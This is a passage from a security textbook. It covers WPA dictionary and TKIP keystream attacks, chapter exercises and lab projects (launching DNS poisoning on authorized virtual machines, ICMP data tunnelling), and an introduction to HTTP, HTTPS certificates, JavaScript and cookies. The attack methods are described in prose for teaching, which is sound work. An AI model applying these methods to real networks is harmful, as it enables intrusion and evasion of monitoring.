to convert the user-supplied key, which may be as simple as a dictionary
word, into the necessary 256-bit string. The key can be provided directly as
a string of 64 hexadecimal digits (which would make any dictionary attack
infeasible), or may be provided as a passphrase of 8 to 63 ASCII characters.

In the event that the passphrase is entered using ASCII, the key is
calculated by using the SSID of the access point as a salt for a key derivation
function known as PBKDF2, which uses 4,096 iterations of the HMAC-
SHA1 hash as a salt is designed to prevent dictionary attacks relying on
extensive precomputation. However, researchers have published tables of
precomputed keys corresponding to the most popular SSIDs. In addition,
if the password used is a simple dictionary word, an attacker could recover
the password using a dictionary attack without the use of any precompu-
tation. This is not considered a weakness in WPA itself, but rather serves
as a reminder that strong passwords should be used to prevent dictionary
attacks.

More recently, researchers discovered a vulnerability in TKIP that al-
lows an attacker to recover the keystream used for a single packet (as
opposed to the key used to seed that keystream), allowing that attacker
to transmit 7–15 arbitrary packets on that network. The attack stems from
the fact that for compatibility purposes, TKIP continues to utilize the inse-
cure CRC-32 checksum mechanism in addition to the improved MICHAEL
algorithm.

Just as with the chop-chop attack on WEP, an attacker uses the fact that
access points may drop packets that do not have valid CRC-32 checksums
to his advantage. The attacker captures an ARP packet, which is easily
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identified by its length. In fact, the contents of ARP requests are mostly
known by the attacker ahead of time, with the exception of the last bytes of
the source and destination IP addresses, the 8-byte MICHAEL algorithm,
and the 4-byte CRC-32 checksum. Using a variation on the chop-chop
method, the attacker guesses values for these unknown bytes, using the
access point to verify each guess.

However, TKIP has an additional defense mechanism that issues a
warning and regenerates encryption keys when two messages with the
correct CRC-32 but incorrect MICHAEL checksum are received within the
same minute. To circumvent this, the attacker can simply wait 1 minute
between each guessed value. Once the packet has been decrypted, the
attacker has recovered both the keystream and the MICHAEL key used to
generate the packet’s checksum. Using this information, the attacker can
craft and transmit 7–15 arbitrary packets to the network. This attack can
be prevented by configuring TKIP to reissue keys at short intervals, or by
switching to the more secure WPA2 protocol, that no longer uses CRC-32.
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6 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 Describe the main purpose of DNS.
R-2 Suppose the transaction ID for DNS queries can take values from

1 to 65,536 and is randomly chosen for each DNS request. If an
attacker sends 1,024 false replies per request, how many requests
should he trigger to compromise the DNS cache of the victim with
probability 99%?

R-3 Why are pharming and phishing attacks often used in concert with
each other?

R-4 Give three different techniques that an attacker can use to make a
victim send DNS requests to domains chosen by the attacker.

R-5 Explain the difference between the subdomain DNS cache poison-
ing attack and the traditional version of this attack.

R-6 Compare and contrast the way a regular DNS request is answered
and the way it would be answered and authenticated in DNSSEC.

R-7 Explain how a stateless firewall would block all incoming and
outgoing HTTP requests.

R-8 How can SSH be used to bypass firewall policy? What can a
network administrator do to prevent this circumvention?

R-9 Describe a firewall rule that can prevent IP spoofing on outgoing
packets from its internal network.

R-10 What is the difference between a misfeasor and clandestine user?
R-11 Explain how a port scan might be a preliminary indication that

another attack is on its way.
R-12 Which is worse for an intrusion detection system, false positives or

false negatives? Why?
R-13 Give examples of IDS audit records for each of the following ac-

tions:
(a) A user, Alice, reading a file, foo.txt, owned by Bob, of size 100
MB, on December 18, 2010
(b) A client, 129.34.90.101, initiating a TCP session with a server,
45.230.122.118, using 0.01 CPU seconds, on January 16, 2009
(c) A user, Charlie, logging out from his computer, using 0.02 CPU
seconds, on March 15, 2010
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R-14 What are the main differences between WEP and WPA? What are
the different possible modes under the WPA standard?

R-15 Explain why deep packet inspection cannot be performed on pro-
tocols such as SSL and SSH.

R-16 Explain how IP broadcast messages can be used to perform a smurf
DOS attack.

R-17 How does a honeypot fit in with the security provided by a firewall
and intrusion detection system?

Creativity

C-1 Suppose DNS IDs were extended from 16 bits to 32 bits. Based
on a birthday paradox analysis, how many DNS requests and
equal number of fake responses would an attacker need to make in
order to get a 50% chance of succeeding in a DNS cache poisoning
attack?

C-2 Explain why a large value for the TTL (time-to-live) of replies to
DNS queries does not prevent a DNS cache poisoning attack.

C-3 Suppose Alice sends packets to Bob using TCP over IPsec. If
the TCP acknowledgment from Bob is lost, then the TCP sender
at Alice’s side will assume the corresponding data packet was
lost, and thus retransmit the packet. Will the retransmitted TCP
packet be regarded as a replay packet by IPsec at Bob’s side and be
discarded? Explain your answer.

C-4 An alternative type of port scan is the ACK scan. An ACK scan
does not provide information about whether a target machine’s
ports are open or closed, but rather whether or not access to those
ports is being blocked by a firewall. Although most firewalls block
SYN packets from unknown sources, many allow ACK packets
through. To perform an ACK scan, the party performing the scan
sends an ACK packet to each port on the target machine. If there
is no response or an ICMP “destination unreachable” packet is
received as a response, then the port is blocked by a firewall. If
the scanned port replies with a RST packet (the default response
when an unsolicited ACK packet is received), then the ACK packet
reached its intended host, so the target port is not being filtered
by a firewall. Note, however, that the port itself may be open or
closed: ACK scans help map out a firewall’s rulesets, but more
information is needed to determine the state of the target machine’s
ports. Describe a set of rules that could be used by an intrusion
detection system to detect an ACK scan.
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C-5 During a FIN scan, a FIN packet is sent to each port of the target.
If there is no response, then the port is open, but if a RST packet
is sent in response, the port is closed. The success of this type of
scan depends on the target operating systems—many OSs, includ-
ing Windows, have changed the default behavior of their TCP/IP
stacks to prevent this type of scan. How? Also, how could an
intrusion detection system be configured to detect a FIN scan?

C-6 Explain how it would give a potential intruder an additional ad-
vantage if he can spend a week stealthily watching the behaviors
of the users on the computer he plans to attack.

C-7 Describe the types of rules that would be needed for a rule-based
intrusion detection system to detect a DNS cache poisoning at-
tack.

C-8 Describe the types of rules that would be needed for a rule-based
intrusion detection system to detect an ARP spoofing attack.

C-9 Describe the types of rules that would be needed for a rule-based
intrusion detection system to detect a ping flood attack.

C-10 Describe the types of rules that would be needed for a rule-based
intrusion detection system to detect a smurf attack.

C-11 Describe the types of rules that would be needed for a rule-based
intrusion detection system to detect a SYN flood attack.

C-12 The coupon collector problem characterizes the expected number
of days that it takes to get n coupons if one receives one of these
coupons at random every day in the mail. This number is ap-
proximately n ln n. Use this fact to compare the number of TCP
connections that are initiated in a sequential port scan, going from
port 1 to 65535, directed at some host, to the expected number that
are requested in a random port scan, which requests a random port
each time (uniformly and independently) until it has probed all of
the ports.

C-13 Describe a modification to the random port scan, as described in
the previous exercise, so that it still uses a randomly generated
sequence of port numbers but will now have exactly the same
number of attempted TCP connections as a sequential port scan.

Projects

P-1 Keep a diary that chronicles how you use your computer for an
entire week. Try to include all the key elements that are included
in an intrusion detection event log, including which files you read
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and write, which programs you run, and which web sites you
visit. (Your browser probably keeps a history of this last set of
events itself.) Write a term paper that discusses, at a high level, the
types of rules and statistics that could be used to build an intrusion
detection system for your computer that could tell if someone else
was using it besides you. Include a discussion of how easy or
difficult it is to predict normal and anomalous behavior for your
computer based on your usage patterns for this week.

P-2 Write a term paper that discusses the risks of pharming and phish-
ing with respect to identity theft, including spam emails claiming
to come from well-known companies and financial institutions. In-
clude in your paper a discussion of some of the current techniques
being deployed to reduce pharming and phishing, including how
effective they are.

P-3 On an authorized virtual machine network, define three virtual
machines, DNS Server, Victim, and Attacker, which could in fact
all really be on the same host computer. On DNS Server, install
the DNS server software (such as bind), and configure the DNS
server to respond to the queries for the example.com domain. (It
should be noted that the example.com domain name is reserved
for use in documentation and is not owned by anybody.) Configure
Victim so it uses DNS Server as its default DNS server. On Attacker,
install packet sniffing and spoofing tools, such as Wireshark and
Netwox. Let Attacker and Victim be on the same LAN, so Attacker
can sniff Victim’s DNS query packets, and have Attacker launch
DNS attacks on Victim. Once this succeeds, let Attacker and Victim
be on two different networks, so Attacker cannot see the Victim’s
DNS query packets. Have Attacker launch DNS attacks on Victim
in this more difficult setting.

P-4 On a virtual machine, install the Linux operating system. Imple-
ment a simple, stateless, and personal firewall for this machine.
The firewall inspects each packet from the outside, and filters out
the packets with the IP/TCP/UDP headers that match the prede-
fined firewall rules. The Linux built-in Netfilter mechanism can
be used to implement the firewall.

P-5 On a virtual machine, install the Linux operating system. Linux has
a tool called iptables, which is essentially a firewall built upon the
Netfilter mechanism. Develop a list of firewall rules that need
to be enforced on the machine, and configure iptables to enforce
these rules.

P-6 Design and implement a program to do DNS lookups, and simu-
late a DNS poisoning attack in this system.
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P-7 Write a web crawler or collect enough spam emails for yourself
and friends in order to find five phishing web sites. Compare
the content of these pages with their authentic counterparts, both
in terms of HTML source and the look and feel of the pages as
displayed in the browser.

P-8 Write a client/server program that tunnels data using a noncon-
ventional protocol. For example, create a messaging program that
sends data in the payload of ICMP packets.

Chapter Notes

Several of the protocols mentioned in this chapter are documented with RFCs:

• RFC 1035 - DNS

• RFC 2460 - IPv6 and IPSec

• RFC 4251 - SSH

For more details on the topics covered in this chapter, see the book by Cheswick,
Bellovin and Rubin [16] and the previously cited books by Comer [18], Tanenbaum
[100], Kaufman, Perlman, and Speciner [46], and Stallings [96]. Lioy et al. present
a survey of DNS security [57]. Dan Kaminsky discovered the subdomain reso-
lution attack for cache poisoning and collaborated with major providers of DNS
software on the development of patches before a making public announcement
of the vulnerability in 2008. Keromytis et al. discuss implementing IPSec [48].
Martin Roesch, lead developer of the Snort intrusion detection system, describes
its goals and architecture [84]. Niels Provos presents a framework for virtual
honeypots [78]. Attacks on WEP are given by Borisov, Goldberg and Wagner [12]
and by Stubblefield, Ioannidis and Rubin [98].
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1 The World Wide Web

The World Wide Web (web) has completely changed the way people use
computers. We use the web for banking, shopping, education, communicat-
ing, news, entertainment, collaborating, and social networking. But as the
web has evolved to provide a more sophisticated, dynamic user experience,
entire new classes of security and privacy concerns have emerged, which
we explore in this chapter. We begin, in this section, by giving the necessary
background on web technology, and we follow with sections on attacks on
web clients and attacks on web servers.

1.1 HTTP and HTML

At the basic level, a web site consists simply of pages of text and images
that are interpreted by a web browser. In order to visit such a web site, the
browser needs to go through a number of steps. The process begins with
the browser determining the IP address of the web server that is hosting

Uniform Resource Locators (URLs)

A web browser identifies a web site with a uniform resource locator,
or URL. This naming scheme, invented by Tim Berners-Lee, allows us to
refer to content on distant computers in a simple and consistent manner,
which in turn makes easy navigation of the web possible. (See Figure 1.)
An example of a URL is

http://www.example.com/directory/file.html
Here, www.example.com is the domain of the web server holding the web
site of interest, directory is the name of the folder that is storing the web
site of interest, and file.html is a file that describes the text and images for a
page on this web site, using a format known as hypertext markup language
(HTML). Frequently, the name of the file is left out of a URL, in which case
a default file is requested, such as index.html or home.html.

the web site of interest. Recall that an IP address is the unique identifier
assigned to every device on the Internet, including the client computer
for our web browser. Of course, using IP addresses directly to access web
sites is cumbersome (but it is allowed). So, domain names, such as

, were developed to make identification of web sites
easier. Rather than ask for a web site at the server identified by something
like , we can ask for a web site at  and let
the domain name system (DNS) resolve it.

128.34.66.120

www.example.com

www.example.com
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A powerful idea:
Use a URL to access
information on a remoteinformation on a remote
computer.

Result: The World Wide Web

Figure 1: The ability of a URL to identify content on a computer that is half
a world away. This simple technology provides an addressing scheme for
remote content, which makes the World Wide Web possible.

Connecting to a Web Server

The string http in the URL above indicates that the hypertext transfer
protocol (HTTP) should be used for retrieving the requested web page.
Given such a URL, the web browser first checks the local DNS cache on
its system for an entry corresponding to the domain of the web site being
requested. If no entry is found locally, the browser queries a DNS server to
resolve the IP address of the domain name. After the IP address of the web
server is resolved, the client makes a TCP connection to a specified port
on the web server, which is, by default, port 80 for HTTP. Other protocols
besides HTTP could also be used in a URL, as well. For example, the
following is a list of several common ports and their associated services:

Port Service
21 File Transfer Protocol (FTP)
80 Hypertext Transfer Protocol (HTTP)

443 Hypertext Transfer Protocol over TLS/SSL (HTTPS)

This HTTPS protocol is used for secure connections, as discussed in Sec-
tion 1.2.

HTTP Request

After establishing a TCP connection to the web server, the browser sends
requests, known as HTTP requests, to that web server, encapsulated in
the data portion of a TCP packet. An HTTP request specifies the file the
browser wishes to receive from the web server. HTTP requests typically
begin with a request line, usually consisting of a command such as GET
or POST. Next is the headers section that identifies additional information.
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Finally, there may be more information provided in an optional message
body. An example of an HTTP request by a web browser and the corre-
sponding response from the web server is shown in Figure 2.

Hypertext Markup Language (HTML)

When a web server receives an HTTP request, it processes the request
and delivers the appropriate content to the browser along with a response
header. This response header includes information about the server, includ-
ing the type and version number of the server software being used (such
as Apache, Microsoft IIS, or Google GWS). Because revealing the specific
version and type of web server may provide attackers with additional
information to coordinate an attack, it is often considered good security
practice to alter the default server response to not include this information.
Such an attempt of achieving security through obscurity would not stop
a determined attacker, who could attempt exploitation of vulnerabilities
blindly, without knowing the type of web server being targeted.

The response header also includes information about the data being
returned, including its size and type (such as text or image). The main body
of a web page is encoded using the hypertext markup language (HTML),
which provides a structural description of a document using special tags,
including the following:

• Text formatting, such as <i>text</i>, for italics and <b>text</b>, for
bold

• Itemized lists, which list items set apart with bullets or numbers, such
as <ul> <li>first-item</li> <li>second-item</li> </ul>

• Hyperlinks, which provide ways to navigate to other web pages, such
as in <a href="web-page-URL"> Description of the other page</a>

• Scripting code, which describes various actions for the web page, such
as in <script>Computer code</script>

• Embedded images, such as in <img src="URL-of-an-image">

Even though a web browser displays a web page as a single unit, the
browser might actually have to make multiple HTTP requests in order to
retrieve all the various elements of the page. For example, each image
embedded in a page would normally be fetched by a separate HTTP re-
quest, as would the main HTML file describing the web page itself. Once
all the responses for a page are received, the web browser interprets the
delivered HTML file and displays the associated content. In addition, most
browsers provide a way for a client to directly view the source HTML file
for a displayed web page, if desired.
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HTTP Request

GET /index.html HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Last‐Modified: Fri, 30 Jul 2010 15:30:18 GMT
ETag: "573c1‐254‐48c9c87349680"
Accept‐Ranges: bytes
Content‐Type: text/html; charset=UTF‐8
Connection: Keep‐Alive
Date: Sun, 15 Aug 2010 15:24:11 GMT
Age: 4341
Content‐Length: 596

<!DOCTYPE HTML PUBLIC "‐//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<META http‐equiv="Content‐Type" content="text/html; charset=utf‐8">
<TITLE>Example Web Page</TITLE>
</HEAD>
<body>
<p>You have reached this web page by typing &quot;example.com&quot;,
&quot;example.net&quot;,&quot;example.org&quot; or &quot;example.edu&quot;
into your web browser.</p>
<p>These domain names are reserved for use in documentation and are not available
for registration. See <a href="http://www.rfc‐editor.org/rfc/rfc2606.txt">RFC 2606</a>,
Section 3.</p>
</BODY>
</HTML>

HTTP Response

1

2

Web
Browser

Web
Server

Figure 2: HTTP request from a web browser and response from the web
server. In the request, the first line indicates that the user is requesting
the page index.html, which is stored at the root directory of the web site,
denoted by /. HTTP/1.1 indicates the version of the HTTP protocol that
is being used—currently, the options are version 1.0 and version 1.1. The
Host field indicates the domain name being queried—this is necessary,
because the same web server may be hosting multiple websites, each with
a different domain name. The response form the server indicates a status
code (200 OK, denoting a successful request). Headers in the response in-
clude the web server software, version, and operating system (Apache 2.2.3
running on CentOS) and the length (596 bytes) and modification date (July
30, 2010 at 15:30:18 GMT) of the object requested. Finally after the headers,
the response includes the web page formatted in HTML (shown in smaller
font). Note that the double quote character is denoted by &quot;.
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HTML Forms

HTML also includes a mechanism called forms to allow users to provide
input to a web site in the form of variables represented by name-value pairs.
The server can then process form variables using server-side code (to be
discussed later in this chapter). Forms can use two methods to submit data:
GET and POST variables. When users submit a form using GET variables,
the name-value pairs for the variables are encoded directly into the URL,
separated by &, as in

http://www.example.com/form.php?first=Roberto&last=Tamassia

On submitting a POST form, however, the submitted variables are included
in the HTTP request’s body.

GET variables are recommended for operations such as querying a
database, that do not have any permanent results. If the processing of the
form has side effects, such as inserting a record in a database or sending
an email, POST should be used. This is due to the fact that navigation of
a user’s history may result in the accidental submission of GET variables,
so it is necessary to ensure that sending GET variables repeatedly is safe.
In contrast, on navigating to the result of sending POST information, the
browser will prompt the user to ensure that the user wishes to submit this
information again, protecting the web application from accidental modifi-
cation.

An example of a web page that uses GET variables is shown in Code
Fragment 1.

<html>
<title>Registration</title>

<body>
<h1>Registration</h1>
<h2>Please enter your name and email address.</h2>
<form method="GET" action="http://securitybook.net/register.php">

First: <input type="text" name="first">
Last: <input type="text" name="last">
Email: <input type="text" name="email">
<input type="submit" value="Submit">

</form>
<p><b>Thanks!</b></p>

</body>
</html>

Code Fragment 1: HTML code for a simple registration page that contains
a form with three variables to be submitted using the GET method.
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When the user clicks on the submit button, the browser is directed to
the URL specified in the action field, augmented with the GET variables, as
in the following example, where the “@” character is encoded as “%40”.

http://securitybook.net/register.php?first=Roberto&last=Tamassia&email=rt%40securitybook.net

In the web page shown in Code Fragment 1, the HTML form is
specified by the form tag, which includes nested input tags for the variables
and the submit button. The use of GET variables is specified by the method
attribute. Also, note the tags h1 and h2, which indicate section headings
at level 1 and 2, respectively, and the p tag, which denotes a paragraph.
Figure 3 shows how this web page would be rendered by a browser.

Figure 3: Web page from Code Fragment 1 displayed by the Mozilla
Firefox web browser.

Lack of Confidentiality in HTTP

By default, HTTP requests and responses are delivered via TCP over
port 80. There are many security and privacy concerns with this default
means of communication, however. The standard HTTP protocol does
not provide any means of encrypting its data. That is, the contents are
sent in the clear. Because of this lack of encryption, if an attacker could
intercept the packets being sent between a web site and a wen browser,
he would gain full access to any information the user was transmitting,
and could also modify it, as in a man-in-the-middle scenario. This lack of
confidentiality therefore makes HTTP inappropriate for the transmission of
sensitive information, such as passwords, credit card numbers, and Social
Security numbers.
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1.2 HTTPS

To solve the confidentiality problem inherent in HTTP, an alternative pro-
tocol is available called HTTPS (hypertext transfer protocol over secure
socket layer). HTTPS is identical to HTTP syntactically, but incorporates
an additional layer of security known as SSL (secure socket layer), or a
newer implementation, known as TLS (transport layer security). SSL and
TLS rely on the notion of a certificate to verify the identity of the server and
establish an encrypted communication channel between the web browser
and the web server. The sequence of operations used in HTTPS is shown in
Figure 4.

1. Supported ciphers and 
hash functions

3. Certificate

2. Chosen cipher and 
hash function

6. Transfer data over 
secure channel

4. Verify 
certificate

5. Generate shared 
secret keys

Web
Browser

Web
Server

Figure 4: Establishing an HTTPS session.

To establish a secure connection, first the browser requests an HTTPS
session with the server and provides a list of cryptographic ciphers and
hash functions that the client supports. Next, the server chooses the
strongest cipher and hash function that are supported by both the browser
and server, informs the browser of its choice, and sends back its certificate,
which contains the server’s public encryption key. The browser then
verifies the authenticity of the certificate. To complete the session, the
browser encrypts a random number using the server’s public key, which
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can only be decrypted using the server’s private key. Starting from this
random number, the server and client generate shared secret keys that are
used to encrypt and authenticate subsequent messages using a symmetric
cryptosystem and a message authentication code (MAC). Once the secure
channel is established, normal HTTP communication can commence over
this channel. Namely, a MAC is appended to each HTTP message and
the resulting authenticated message is encrypted. This approach protects
the confidentiality (via the symmetric cryptosystem) and integrity (via the
MAC) of the HTTP requests and responses.

Web Server Certificates

In addition to providing a server’s public key for use in generating shared
secret keys, certificates provide a means of verifying the identity of a web
site to its clients. To accomplish this goal, certificates are digitally signed us-
ing the private key of a trusted third party, known as a Certificate Authority
(CA). A web site owner obtains a certificate by submitting a certificate
signing request to a CA and paying a fee. After verifying the identity of
the requester and ownership of the domain name for the website, the CA
signs and issues the certificate, which the web server then sends to browsers
to provide proof of its identity. For example, VeriSign, a leading CA, issues
certificates for the web sites of many banks. A web server certificate, also
called SSL server certificate, contains several fields, including:
• Name of the CA that issued the certificate

• Serial number, unique among all certificates issued by the CA

• Expiration date of the certificate

• Domain name of the web site

• Organization operating the web site and its location

• Identifier of the public-key cryptosystem used by the web server (e.g.,
1,024-bit RSA)

• Public key used by the web server in the HTTPS protocol

• Identifier of the cryptographic hash function and public-key cryp-
tosystem used by the CA to sign the certificate (e.g., SHA-256 and
2,048-bit RSA)

• Digital signature over all the other fields of the certificate
Thus, a web server certificate is an attestation by the issuer (CA) of a subject
consisting of the organization owning the web site, the domain name of the
web site, and the web server’s public key.
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Since a web server provides its certificate as part of the HTTPS protocol,
most browsers provide a way for a user to inspect a server’s certificate, as
shown in Figure 5.

Figure 5: A web server certificate as displayed by Firefox. The fields of the
certificate include the name of the organization owning the web site, the
domain name of the website, the name of the CA that issued the certificate,
the expiration date, and cryptographic parameters.

Extended Validation Certificates

Some CAs only use what is known as domain validation—confirmation
that the domain on the certificate being signed is in fact owned by the
certificate requester. To create more stringent guidelines for verifying the
authenticity of domains requesting certificates, extended validation certifi-
cates were introduced. This new class of certificates can only be issued
by CAs who pass an audit demonstrating that they adhere to strict criteria
for how they confirm the subject’s identity. These criteria are set by the
CA/Browser Forum, an organization including many high-profile CAs and
vendors. Extended validation certificates are designated in the CA field of
the certificate, as shown in Figure 6.
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Figure 6: Designation of an extended validation certificate.

Certificate Hierarchy

Certificates may be issued throughout an organization in a hierarchy where
low-level certificates are signed by an intermediary CA, which in turn
is verified by a higher level CA. In these cases, the top-level certificate
is known as the root certificate. Since the root certificate clearly cannot
be signed by a higher authority, the root certificate is known as a self-
signed certificate, where the issuer is the same as the subject. A self-signed
certificate essentially asserts its own legitimacy. Root certificates, whether
they be for top-level domains or simply the highest authority within an
organization, are referred to as anchor points in the chain of trust used to
verify a certificate. Such certificates are typically stored by the operating
system or the browser in protected files, in order to be able to validate
certificates lower in the hierarchy.

Trustworthiness and Usability Issues for Certificates

The contents of a certificate specify a validity period after which it expires
and is no longer considered acceptable verification of authenticity. In
addition to this built-in expiration date, a certificate includes the URL
of a revocation site, from which one can download a list of certificates
that have become invalid before their expiration date, called certificate
revocation list. There are several reasons for a certificate to become invalid,
including private key compromise or change of organization operating the
web site. When a certificate becomes invalid, the CA revokes it by adding
its serial number to the certificate revocation list, which is signed by the
CA and published at the revocation site. Thus, checking the validity of a
certificate involves not only verifying the signature on the certificate, but
also downloading the certificate revocation list, verifying the signature on
this list, and checking whether the serial number of the certificate appears
in the list.

The entire concept of certificates relies on the user understanding the
information a browser displays and making informed decisions. For ex-
ample, most browsers display a visual cue when establishing a secure
connection, such as a padlock icon. Additional cues are provided for
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extended validation certificates. For example, version 3 of Firefox shows
the logo and name of the organization operating the website in an area with
green background of the address bar. Also, clicking on this area displays a
summary of the certificate. (See Figure 7.)

Figure 7: Visual cue provided by the Mozilla Firefox browser for an
extended validation certificate.

When a user navigates to a site that attempts to establish an HTTPS
session but provides an expired, revoked, or otherwise invalid certificate,
most web browsers display an error and prompt the user whether or not to
trust the site, as shown in Figure 8. These warnings should not be taken
lightly, since it is possible for attackers to initiate man-in-the-middle attacks
to intercept HTTPS traffic by providing forged, revoked, or expired certifi-
cates. Once a certificate is accepted by the user, it is stored locally on the
user’s hard drive and is accessible by the browser for future connections,
depending on the browser’s settings.

Figure 8: A warning for an invalid certificate.
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1.3 Dynamic Content

If a web page provides only fixed images, text, and even fields of a form,
it is missing functionality that many users and web site owners want. In
particular, such pages are static—they do not change after being delivered
to the user—so there are no animations, no changes due to mouse-over
events, and no videos. In contrast, pages featuring dynamic content can
change in response to user interaction or other conditions, such as the
passage of time.

To provide these features, additional web languages called scripting
languages were introduced. A scripting language is a programming lan-
guage that provides instructions to be executed inside an application (like
a web browser), rather than being executed directly by a computer. A
program written in a scripting language is called a script. Many scripting
languages describe code delivered to the browser, where it is executed by
a module of the browser that knows how to interpret the instructions in
the script and perform the specified actions. These are known as client-
side scripting languages. Other scripting languages have been developed
to describe code that is executed on the server hosting a web site, hiding
the code from the user and presenting only the output of that code—these
are known as server-side scripting languages. With scripting languages,
developers can make pages that change based on the user’s interaction,
creating a more interactive experience.

Document Object Model

The Document Object Model (DOM) is a means for representing the content
of a web page in an organized way. The DOM framework takes an object-
oriented approach to HTML code, conceptualizing tags and page elements
as objects in parent-child relationships, which form a hierarchy called the
DOM tree. The DOM facilitates the manipulation of the content of the web
page by scripts, which can accessing objects on the web page by traversing
the DOM tree.

Javascript

One of the earliest (and most popular) examples of a scripting language is
Javascript, which was introduced in 1995 and is now supported by every
major browser. Javascript gives developers a whole set of tools with which
to develop interactive and dynamic web applications. To indicate to a
browser that Javascript is being used, the <script> and </script> tags are
used to separate sections of Javascript from ordinary HTML code.
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Javascript introduces the powerful feature of allowing programmers
to declare functions and pass them arguments, upon which they perform
some operation or return a value. An example of a Javascript function is
shown in Code Fragment 2.

<script type="text/javascript">
function hello() {

alert("Hello world!");
}

</script>
Code Fragment 2: A Javascript function.

Later in the web page, if any line of Javascript code calls the hello()
function, it will result in a pop-up message box that says Hello world!. In
addition to the ability of defining functions, Javascript also includes several
standard programming constructs using the syntax of the C programming
language, such as for, while, if/then/else, and switch.

Javascript also handles events, such as a user clicking a link or even
simply hovering the mouse pointer over a portion of a web page, which is
known as a mouse-over event. These event handlers can be embedded in
normal HTML code, as shown in Code Fragment 3.

<img src="picture.gif" onMouseOver="javascript:hello()">

Code Fragment 3: Handling a mouse-over event with Javascript. On
hovering the mouse pointer on this image, the previously declared hello()
function will be called, resulting in a pop-up message box.

A display of the mouse-over action of Code Fragment 3, which calls
the function of Code Fragment 2, is shown in Figure 9.

(a) (b) 

Figure 9: A mouse-over event that triggers a Javascript function, using
the Apple Safari browser: (a) Before the mouse-over event. (b) After the
mouse-over event.
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Javascript can dynamically alter the contents of a web page by accessing
elements of the DOM tree, as in Code Fragment 4. In the head section, the
changebackground() Javascript function is declared. This function accesses
the root of the DOM (the document node), and checks its bgColor property
(the background color of the page). If the current background color is
#FFFFFF, the hex code for white, it sets the background to #000000, the
hex code for black. Otherwise, it sets the background color to white. The
remaining HTML code renders a page that has a white background. In the
body of the page is a button bound to a Javascript onClick event handler
that calls the changebackground() function when it is clicked. As a result,
the user sees a white page with a button, and on clicking the button, the
background changes to black, and vice versa. (See Figure 10.)

<html>
<head>

<script type="text/javascript">
function changebackground() {

if (document.bgColor=="#FFFFFF") {
document.bgColor="#000000";
}
else {

document.bgColor="#FFFFFF";
}
}

</script>
</head>
<body bgcolor="#FFFFFF">

<button type="button" onClick="javascript:changebackground()">
Change the background!

</button>
</body>

</html>
Code Fragment 4: A sample Javascript page.

(a) (b) 

Figure 10: Click events using the Apple Safari browser: (a) Before a click
event. (b) After the click event. Each subsequent click event will switch
back and forth between the two backgrounds.
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1.4 Sessions and Cookies

It is often useful for web sites to keep track of the behavior and properties
of its users. The HTTP protocol is stateless, however, so web sites do not
automatically retain any information about previous activity from a web
client. When a web client requests a new page to be loaded, it is viewed by
default as a fresh encounter by the web server.

The notion of a session, on the other hand, encapsulates information
about a visitor that persists beyond the loading of a single page. For ex-
ample, a web site that has user accounts and a shopping cart feature would
ideally keep track of its visitors so they are not forced to reauthenticate with
each new page or keep track of item numbers to enter later on an order
form. Fortunately, there are several approaches for web servers to maintain
session information for their users, including passing session information
via GET or POST variables, using a mechanism known as cookies, and
implementing server-side session variables.

Session information should be considered extremely sensitive, since it
is used today to allow users to maintain a consistent identity on sites that
allow accessing bank accounts, credit card numbers, health records, and
other confidential information. Accompanying the concept of a session is
a class of attacks known as session hijacking—any scenario that allows an
attacker to impersonate a victim’s identity by gaining access to the user’s
session information and authenticating to a web site.

Sessions Using GET or POST

One technique to establish user sessions is to pass session information to
the web server each time the user navigates to a new page using GET or
POST requests. In effect, the server generates a small segment of invisible
code capturing the user’s session information and inserts it into the page
being delivered to the client using the mechanism of hidden fields. Each
time the user navigates to a new page, this code passes the user’s session
information to the server allowing it to “remember” the user’s state. The
web server then performs any necessary operations using this information
and generates the next page with the same hidden code to continue passing
the session information. This method is particularly susceptible to man-in-
the-middle attacks, unfortunately, since HTTP requests are unencrypted.
An attacker gaining access to the GET or POST variables being submitted
by a user could hijack their session and assume their identity. In order
to safely employ this method, HTTPS must be used in conjunction with
sessions implemented with GET or POST variables to protect the user from
these attacks.
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Cookies

Another common method of creating user sessions uses small packets of
data, called cookies, which are sent to the client by the web server and
stored on the client’s machine. When the user revisits the web site, these
cookies are returned, unchanged, to the server, which can then “remember”
that user and access their session information.

Cookies are set on a client’s system when a server uses the Set-Cookie
field in the header of an HTTP response. As depicted in Figure 11, this
response includes a key-value pair representing the contents of the cookie,
an expiration date, a domain name for which the cookie is valid, an optional
path, a secure flag, and an HTTP only flag.

Figure 11: The contents of a cookie viewed using a Firefox cookie editing
plugin. The name and content fields correspond to the key-value pair of the
cookie. The domain name .paypal.com specifies that this cookie is valid for
this top-level domain and all subdomains, and the path / indicates that it
applies to the root directory of the site. Finally, the send for value indicates
that this is not a secure cookie, and the expiration date specifies when this
cookie will be automatically deleted.
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Cookie Properties and Components

If no expiration date is specified, the cookie defaults to being deleted when
the user exits the browser.

The domain field can be specified for a top-level domain or subdomains
of a web site. Only hosts within a domain can set a cookie for that domain.
A subdomain can set a cookie for a higher-level domain, but not vice versa.
Similarly, subdomains can access cookies set for the top-level domain, but
not the other way around. For instance, mail.example.com could access
cookies set for example.com or mail.example.com, but example.com could
not access cookies set for mail.example.com. Hosts can access cookies set
for their top-level domains, but hosts can only set cookies for domains
one level up in the domain hierarchy. For example, one.mail.example.com
could read (but not set) a cookie for .example.com. In addition, there are
rules to prevent web sites from setting cookies for top-level domains such
as .edu or .com. These rules are enforced at the browser level. If a web site
attempts to set a cookie for a domain that does not match the domain of the
HTTP response, the browser will reject the response and not set the cookie
on the user’s machine.

The path field specifies that the cookie can only be accessed within a
specific subdirectory of the web site, and defaults to the root directory of a
given domain.

By default, cookies are transmitted unencrypted using HTTP, and as
such are subject to the same man-in-the-middle attacks as all HTTP re-
quests. To remedy this weakness, a secure flag, which requires that a
given cookie be transmitted using HTTPS, can be set. Recently, situations
have been disclosed where web sites using HTTPS to encrypt regular data
transfer failed to properly set the secure cookie flag, however, resulting
in the possibility of session hijacking. A sensitive cookie can be further
protected by encrypting its value and by using an opaque name. Thus,
only the web server can decrypt the cookie and malware that accesses the
cookie cannot extract useful information from it.

Finally, cookies can set an HTTP-Only flag. If enabled, scripting lan-
guages are prevented from accessing or manipulating cookies stored on the
client’s machine. This does not stop the use of cookies themselves, however,
because the browser will still automatically include any cookies stored
locally for a given domain in HTTP requests to that domain. In addition,
the user still has the ability to modify cookies through browser plugins.
Nonetheless, preventing scripting languages from accessing cookies signif-
